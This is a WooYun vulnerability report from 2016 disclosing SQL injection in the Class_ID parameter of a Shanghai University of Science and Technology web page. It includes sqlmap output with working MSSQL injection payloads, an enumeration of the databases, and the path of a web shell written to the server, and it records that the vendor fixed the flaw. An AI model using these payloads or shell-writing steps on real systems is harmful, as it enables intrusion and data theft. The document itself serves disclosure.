当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0175138

漏洞标题:上海理工大学某站SQL注入一枚

相关厂商:上海理工大学

漏洞作者: 冰@封

提交时间:2016-02-09 17:17

修复时间:2016-02-25 11:04

公开时间:2016-02-25 11:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-09: 细节已通知厂商并且等待厂商处理中
2016-02-10: 厂商已经确认,细节仅向厂商公开
2016-02-20: 细节向核心白帽子及相关领域专家公开
2016-02-25: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

sql注射漏洞 sa权限....

详细说明:

http://mem.usst.edu.cn/ActivityInformationDetail.aspx?Class_ID=38&InfoId=705 注入
[*] starting at 20:16:07
[20:16:07] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:16:07] [INFO] testing connection to the target URL
[20:16:07] [WARNING] reflective value(s) found and filtering out
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: Class_ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Class_ID=11 AND 4290=4290
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Class_ID=11 AND 5621=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(1
12)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (5621=5621) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(112)+CHAR(113)+CHAR(112)+CHAR(113)))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Class_ID=11; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Class_ID=11 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Class_ID=(SELECT CHAR(113)+CHAR(120)+CHAR(112)+CHAR(113)+CHAR(113)+
(SELECT (CASE WHEN (9649=9649) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(
112)+CHAR(113)+CHAR(112)+CHAR(113))
---
[20:16:07] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:16:07] [INFO] fetching database names
[20:16:07] [INFO] the SQL query used returns 8 entries
[20:16:07] [INFO] retrieved: master
[20:16:08] [INFO] retrieved: MBA
[20:16:08] [INFO] retrieved: MEM
[20:16:08] [INFO] retrieved: model
[20:16:08] [INFO] retrieved: msdb
[20:16:08] [INFO] retrieved: ReportServer
[20:16:08] [INFO] retrieved: ReportServerTempDB
[20:16:08] [INFO] retrieved: tempdb
available databases [8]:
[*] master
[*] MBA
[*] MEM
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[20:16:09] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 9 times
[20:16:09] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\mem.usst.edu.cn'
[*] shutting down at 20:16:09

1.png


sqlmap写shell
http://mem.usst.edu.cn/1bf.asp

漏洞证明:

2.png


3.png


修复方案:

你们更专业...

版权声明:转载请注明来源 冰@封@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2016-02-10 18:20

厂商回复:

已确认

最新状态:

2016-02-25:已修复


漏洞评价:

评价